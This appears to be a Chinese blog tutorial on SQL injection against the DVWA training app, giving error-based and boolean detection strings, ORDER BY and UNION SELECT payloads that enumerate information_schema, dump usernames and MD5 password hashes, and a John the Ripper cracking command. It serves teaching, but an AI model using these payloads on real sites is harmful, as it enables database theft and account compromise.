• sql注入(一)


    SELECT * FROM users WHERE user='uname' AND password='pass'
    SELECT * FROM users WHERE user='name' AND password=" OR"='
     
    检测是否有sql注入
    '
    1' and '1'='1   --可用于盲注
    1' and '1'='2
     
     
    基于报错的检测方式

    它的sql查询代码是SELECT first_name,srname from users where id=' 这里是需要填入的值 '

    表示查询填入userID,查询对应ID的用户名信息,比如填入1

    它是有漏洞的

    当填入一个单引号时

    SELECT first_name,srname from users where id=' ' '

    就会形成单数个引号,其中有一个引号没有闭合就会发生报错,提示使用正确的格式

    这样我们就知道这里有一个sql注入点,这是基于报错的检测方式

    基于布尔的检测方式

    当填入1' and '1'='1时,sql查询语句就会变成SELECT first_name,srname from users where id=' 1' and '1'='1 ',和填入1的结果一样

    但是填入1' and '1'='2时,sql查询语句就会变成SELECT first_name,srname from users where id=' 1' and '1'='2 ',这句话后面的'1'='2'为假,所以是查询不出结果的

    通过输入 1' and '1'='1和1' and '1'='2,得出的两种结果我们就可以简单判断这里有一个sql注入点,这是基于布尔的检测方式

    检测有多少个查询字段

    填入'order by 5--+,加号其实是空格,空格看起来不清楚所以用加号代替空格,--是sql语法里面注释的意思,排除后面多余的引号影响。

    SELECT first_name,srname from users where id=' 'order by 5--+',这其实就是一个检测多少个查询字段的查询语句

    如果5过大会报错

    就一个个去试试,直到填入2时没有报错

    我们就知道有2个查询字段

    我们现在知道有两个查询字段,现在查询字段序号对应的名字'union select 1,2--+

    SELECT first_name,srname from users where id=''union select 1,2--+'

    得出序号1是First name, 序号2是surname

     

    查询当前用户,和当前数据库的版本信息,使用到sql语句里面的user(),version()函数

    'union select user(),version() --+

    然后就得到了user信息,和数据库的信息

    使用全局函数
    @@datadir,@@hostname,@@VERSION,@@version_compile_os

    查询数据库所在位置

    'union select user(),@@datadir--+

    使用hackbar,加号会自动变成空格

    execute提交,可以看到结果和在user ID输入框中输入得到的结果差不多

    CONCAT_WS(CHAR(32,58,32))表示用 空格对应ASCII码值32,冒号对应58,所以32,58,32表示空格冒号空格,这句话的意思是使用空格冒号空格对查询的字段进行分割

     

    可以使用网站的服务器进行MD5值计算

    查询库所有的表

    'union select table_name,table_schema from information_schema.tables--+

    统计每个库中表的数量

    'union select table_schema,count(*) FROM information_Schema.tables group by table_schema --+

    表名和表的数量就很清晰地显示出来了

    查询dvma库中的表名

    ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+

    查询user表中所有列的内容(user_id,first_name,user,password,avator)

    ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+

    查询user,password列的内容,我们就得到了user信息和password的md5值

    改变一下查询的格式,user和password之间用冒号连接

    得到这些信息之后就可以进行暴力破解了

    把username:passhash信息保存到dvwa.txt中
    开始暴力破解
    john --format=raw-MD5 dvwa.txt
     

      

     
     
  • 相关阅读:
    bzoj2959
    学习笔记::lct
    bzoj3203
    bzoj1319
    bzoj3625
    bzoj3992
    bzoj1565
    bzoj3513
    平常练习动归(1.胖男孩)———最长公共子序列
    2016 noip 复赛 day2
  • 原文地址:https://www.cnblogs.com/zylq-blog/p/6717675.html
Copyright © 2020-2023  润新知